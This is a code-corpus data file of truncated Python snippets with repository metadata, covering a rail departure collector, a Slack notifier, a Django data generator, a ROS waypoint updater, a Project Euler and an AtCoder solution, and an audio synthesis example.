febbb570031584153cc453531cfad9d62d5b53da | 656 | py | Python | python/enthic/utils/__init__.py | phe-sto/enthic | 0ca3ea949f418ccf72978a92c814b05b82fa3076 | [
"WTFPL"
] | 10 | 2019-12-06T14:19:24.000Z | 2020-11-19T13:12:35.000Z | python/enthic/utils/__init__.py | phe-sto/enthic | 0ca3ea949f418ccf72978a92c814b05b82fa3076 | [
"WTFPL"
] | 25 | 2020-03-31T17:08:22.000Z | 2022-02-10T22:27:43.000Z | python/enthic/utils/__init__.py | phe-sto/enthic | 0ca3ea949f418ccf72978a92c814b05b82fa3076 | [
"WTFPL"
] | null | null | null | # -*- coding: utf-8 -*-
from json import load
from logging import basicConfig
from os.path import join, dirname
from pathlib import Path
################################################################################
# CHECKING THE INPUT AND OUTPUT AND DIRECTORY PATH
# INPUT
with open(join(Path(dirname(__file__)).par... | 41 | 108 | 0.551829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 355 | 0.541159 |
febd1a039c30d408c01acbf196e318f0a33735b0 | 2,177 | py | Python | src/messageHandler.py | lorandcheng/ee250-final-project | e99da9b0221b4f3fdf4737814b9fa4b9152e15d6 | [
"MIT"
] | null | null | null | src/messageHandler.py | lorandcheng/ee250-final-project | e99da9b0221b4f3fdf4737814b9fa4b9152e15d6 | [
"MIT"
] | null | null | null | src/messageHandler.py | lorandcheng/ee250-final-project | e99da9b0221b4f3fdf4737814b9fa4b9152e15d6 | [
"MIT"
] | null | null | null | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Author: Lorand Cheng https://github.com/lorandcheng
# Date: Nov 15, 2020
# Project: USC EE250 Final Project, Morse Code Translator and Messenger
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
import... | 28.272727 | 97 | 0.519982 | 1,776 | 0.815802 | 0 | 0 | 0 | 0 | 0 | 0 | 1,006 | 0.462104 |
febd4c5ea5d37f5d661349afebfd22902257f283 | 1,637 | py | Python | app/management/commands/generate.py | abogoyavlensky/django-pg-research | bee5ac40a3e0d33e7a88ed48ec6dc04c87528db6 | [
"MIT"
] | null | null | null | app/management/commands/generate.py | abogoyavlensky/django-pg-research | bee5ac40a3e0d33e7a88ed48ec6dc04c87528db6 | [
"MIT"
] | null | null | null | app/management/commands/generate.py | abogoyavlensky/django-pg-research | bee5ac40a3e0d33e7a88ed48ec6dc04c87528db6 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import random
from random_words import RandomWords
from random_words import LoremIpsum
from django.core.management.base import BaseCommand
from app.models import Tag
from app.models import Post
class Command(BaseCommand):
def __init__(self):
super(Command, self).__init__()
... | 30.314815 | 79 | 0.546121 | 1,412 | 0.862553 | 0 | 0 | 0 | 0 | 0 | 0 | 148 | 0.090409 |
febdebe28a0eb11da7fb60e489e4b8faec751e19 | 1,898 | py | Python | data_loader.py | isLinXu/AIToodlBox | bacdea77b35e370f728c9fd170ad15c0dd112a09 | [
"MIT"
] | 3 | 2021-09-15T02:24:45.000Z | 2021-09-16T03:27:58.000Z | data_loader.py | isLinXu/AIToodlBox | bacdea77b35e370f728c9fd170ad15c0dd112a09 | [
"MIT"
] | null | null | null | data_loader.py | isLinXu/AIToodlBox | bacdea77b35e370f728c9fd170ad15c0dd112a09 | [
"MIT"
] | null | null | null | import numpy as np
import os
class Dataset():
def __init__(self, images, labels):
# convert from [0, 255] -> [0.0, 1.0]
images = images.astype(np.float32)
images = np.multiply(images, 1.0 / 255.0)
self._images = images
self._labels = labels
@property # getter
def ... | 26.361111 | 72 | 0.682824 | 425 | 0.22392 | 0 | 0 | 128 | 0.067439 | 0 | 0 | 185 | 0.097471 |
febed84610cce92ca5a78eecfa305870b18cc6d4 | 6,764 | py | Python | ros/src/waypoint_updater/waypoint_updater.py | Abdilaziz/CarND-Capstone | 55b071c46b92658dc1617e3ff34531cd5282a8e1 | [
"MIT"
] | null | null | null | ros/src/waypoint_updater/waypoint_updater.py | Abdilaziz/CarND-Capstone | 55b071c46b92658dc1617e3ff34531cd5282a8e1 | [
"MIT"
] | null | null | null | ros/src/waypoint_updater/waypoint_updater.py | Abdilaziz/CarND-Capstone | 55b071c46b92658dc1617e3ff34531cd5282a8e1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Waypoint Updater.
This node will publish waypoints from the car's current position to some `x` distance ahead.
As mentioned in the doc, you should ideally first implement a version which does not care
about traffic lights or obstacles.
Once you have created dbw_node, you will update this node... | 35.046632 | 134 | 0.668096 | 5,006 | 0.740095 | 0 | 0 | 0 | 0 | 0 | 0 | 2,368 | 0.350089 |
febfb7afb944937a4daedbf45bdc05b9348c3b75 | 305 | py | Python | scripts/pdutil.py | travisdowns/sort-bench | 97e18e08a5c43dec337f01ac7e3c55e5acb37507 | [
"MIT"
] | 50 | 2019-05-23T23:17:19.000Z | 2022-02-19T05:17:00.000Z | scripts/pdutil.py | travisdowns/sort-bench | 97e18e08a5c43dec337f01ac7e3c55e5acb37507 | [
"MIT"
] | 1 | 2021-04-11T09:38:44.000Z | 2021-04-22T15:14:32.000Z | scripts/pdutil.py | travisdowns/sort-bench | 97e18e08a5c43dec337f01ac7e3c55e5acb37507 | [
"MIT"
] | 4 | 2019-05-23T23:08:05.000Z | 2021-10-02T21:49:24.000Z | # renames duplicate columns by suffixing _1, _2 etc
class renamer():
def __init__(self):
self.d = dict()
def __call__(self, x):
if x not in self.d:
self.d[x] = 0
return x
else:
self.d[x] += 1
return "%s_%d" % (x, self.d[x])
| 23.461538 | 51 | 0.481967 | 252 | 0.82623 | 0 | 0 | 0 | 0 | 0 | 0 | 58 | 0.190164 |
fec02f47aa5ff13585413d302b592d2cd4c27b9a | 6,111 | py | Python | sbc_ngs/pathway.py | UoMMIB/SequenceGenie | 65fce1df487afd2de32e9d3ebc487874e71436bc | [
"MIT"
] | 5 | 2019-11-01T19:38:09.000Z | 2021-03-29T16:13:56.000Z | sbc_ngs/pathway.py | UoMMIB/SequenceGenie | 65fce1df487afd2de32e9d3ebc487874e71436bc | [
"MIT"
] | null | null | null | sbc_ngs/pathway.py | UoMMIB/SequenceGenie | 65fce1df487afd2de32e9d3ebc487874e71436bc | [
"MIT"
] | 3 | 2021-05-05T20:01:24.000Z | 2022-03-11T15:20:51.000Z | '''
sbc-ngs (c) University of Manchester 2019
All rights reserved.
@author: neilswainston
'''
# pylint: disable=no-member
# pylint: disable=too-few-public-methods
# pylint: disable=too-many-arguments
# pylint: disable=too-many-instance-attributes
# pylint: disable=unused-argument
# pylint: disable=wrong-import-order
... | 34.139665 | 79 | 0.540992 | 2,834 | 0.463754 | 0 | 0 | 0 | 0 | 0 | 0 | 996 | 0.162985 |
fec13c651d52b40a5f2248b2a3733321fd5d2e54 | 3,815 | py | Python | railcollector.py | DanteLore/national-rail | 8c60178ea2c1b71438c36cfdae7df808db5c374b | [
"MIT"
] | 14 | 2018-07-12T10:43:00.000Z | 2019-10-19T07:10:59.000Z | railcollector.py | DanteLore/national-rail | 8c60178ea2c1b71438c36cfdae7df808db5c374b | [
"MIT"
] | null | null | null | railcollector.py | DanteLore/national-rail | 8c60178ea2c1b71438c36cfdae7df808db5c374b | [
"MIT"
] | 3 | 2019-07-15T14:32:00.000Z | 2020-02-12T17:53:21.000Z | import argparse
from time import sleep
import requests
import xmltodict
# http://www.nationalrail.co.uk/100296.aspx
# https://lite.realtime.nationalrail.co.uk/OpenLDBWS/
# http://zetcode.com/db/sqlitepythontutorial/
from utils.database import insert_into_db, delete_where, execute_sql
xml_payload = """<?xml version=... | 38.15 | 197 | 0.623853 | 0 | 0 | 1,649 | 0.432241 | 0 | 0 | 0 | 0 | 1,847 | 0.484142 |
fec152e2fa033df2f5583f6a022b052c96a15f0b | 877 | py | Python | src/problem12.py | aitc-h/euler | 6fc07c741c31a632ce6f11f65c11007cd6c7eb29 | [
"MIT"
] | null | null | null | src/problem12.py | aitc-h/euler | 6fc07c741c31a632ce6f11f65c11007cd6c7eb29 | [
"MIT"
] | null | null | null | src/problem12.py | aitc-h/euler | 6fc07c741c31a632ce6f11f65c11007cd6c7eb29 | [
"MIT"
] | null | null | null | """
Problem 12
Highly divisible triangular number
"""
from utility.decorators import timeit, printit
from utility.math_f import sum_naturals_to_n, get_divisors
from math import ceil, sqrt
def div_count(n):
# Returns the count of divisors of a number
total = 0
for i in range(1, int(ceil(sqrt(n)))+... | 23.078947 | 81 | 0.575827 | 0 | 0 | 0 | 0 | 261 | 0.297605 | 0 | 0 | 238 | 0.27138 |
fec193e201ee4720e007a3de6a116f0b7db806c8 | 469 | py | Python | atcoder/abc183D_water_heater.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 31 | 2020-05-13T01:07:55.000Z | 2021-07-13T07:53:26.000Z | atcoder/abc183D_water_heater.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 10 | 2020-05-20T07:22:09.000Z | 2021-07-19T03:52:13.000Z | atcoder/abc183D_water_heater.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 14 | 2020-05-11T05:58:36.000Z | 2021-12-07T03:20:43.000Z | # uninhm
# https://atcoder.jp/contests/abc183/tasks/abc183_d
# data structures, sorting
n, w = map(int, input().split())
needed = []
for _ in range(n):
s, t, p = map(int, input().split())
needed.append((s, p))
needed.append((t, -p))
needed.sort()
cum = 0
for i in range(len(needed)):
cum += needed[i]... | 18.038462 | 61 | 0.558635 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 94 | 0.200426 |
fec1c9c0fc7bf9b096e6c493b061466eec3c8572 | 635 | py | Python | inc/ReiSlack.py | REI-Systems/REISystems-OGPS-NYC-heartbeat | 126ffd4ee2e80f346b00c3b2241d30c6ce7d93c0 | [
"Apache-2.0"
] | null | null | null | inc/ReiSlack.py | REI-Systems/REISystems-OGPS-NYC-heartbeat | 126ffd4ee2e80f346b00c3b2241d30c6ce7d93c0 | [
"Apache-2.0"
] | null | null | null | inc/ReiSlack.py | REI-Systems/REISystems-OGPS-NYC-heartbeat | 126ffd4ee2e80f346b00c3b2241d30c6ce7d93c0 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import os
from slackclient import SlackClient
def send(msg="no msg", rsp="ok"):
channel = os.environ['SLACK_CHANNEL']
if "ok" == rsp:
if 'SKIP_OK_MESSAGES' in os.environ and os.environ['SKIP_OK_MESSAGES']:
return
if 'SLACK_OK_CHANNEL' in os.environ and os.e... | 24.423077 | 79 | 0.609449 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 207 | 0.325984 |
fec30b1306550fa1e0b5402e2443b04d91d4ab0b | 678 | py | Python | examples/human.py | VetoProjects/AudioPython | 18f5e2c10158bf8cfd15fceb84240a420bf9c677 | [
"MIT"
] | 8 | 2015-04-28T15:31:44.000Z | 2017-02-24T22:57:37.000Z | examples/human.py | VetoProjects/AudioPython | 18f5e2c10158bf8cfd15fceb84240a420bf9c677 | [
"MIT"
] | null | null | null | examples/human.py | VetoProjects/AudioPython | 18f5e2c10158bf8cfd15fceb84240a420bf9c677 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Idea taken from www.wavepot.com
import math
from AudioPython import *
from AudioPython.dsp import *
def bass_osc(n):
tri = triangle_wave(frequency=n, amplitude=0.24)
sine = sine_wave(frequency=n*32, amplitude=0.052)
while True:
yield next(tri) + next(sine)
def sub(gen, ... | 21.870968 | 79 | 0.59587 | 0 | 0 | 416 | 0.613569 | 0 | 0 | 0 | 0 | 64 | 0.094395 |